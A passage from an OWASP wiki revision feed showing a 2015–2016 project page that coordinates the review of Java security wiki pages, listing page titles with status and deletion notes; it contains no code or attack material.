= Archives =&lt;br /&gt;
&lt;br /&gt;
The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(The pages in the &amp;quot;old&amp;quot; category &amp;quot;OWASP Java Project&amp;quot; have to be moved into the category &amp;quot;Java&amp;quot;. Work is in progress).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;categorytree mode=pages&amp;gt;OWASP Java Project&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Wikimedia insert classified page list here --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Technology]]&lt;br /&gt;
[[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=235238</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=235238"/>
				<updated>2017-11-10T10:48:11Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Effort not active anymore. Page can be removed.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=delete&lt;br /&gt;
| comment=Tagged via fixme/delete.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
| Looks updated&lt;br /&gt;
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|gone&lt;br /&gt;
|Deleted by admin&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| DELETED&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
| Looks legit&lt;br /&gt;
| Looks legit&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| Updated by Mark Gordon. Thank you!&lt;br /&gt;
| No action needed&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify. &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|J2EE is completely outdated and only used in old legacy installation. No new projects are based on this environment. Moreover the page does not contain any useful information. Marked for deletion.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|See above. Propose to delete the page since it's not referenced by any other wiki page anymore.&lt;br /&gt;
| redirected to dependency check&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|redirected to sqlI cheatsheet&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|(See spanish page above)&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Delete&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|cleaned, extended&lt;br /&gt;
|useful code examples&lt;br /&gt;
|marked to be merged with another page on the subject&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217634</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217634"/>
				<updated>2016-06-04T13:29:09Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
| Looks updated&lt;br /&gt;
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|gone&lt;br /&gt;
|Deleted by admin&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| DELETED&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
| Looks legit&lt;br /&gt;
| Looks legit&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
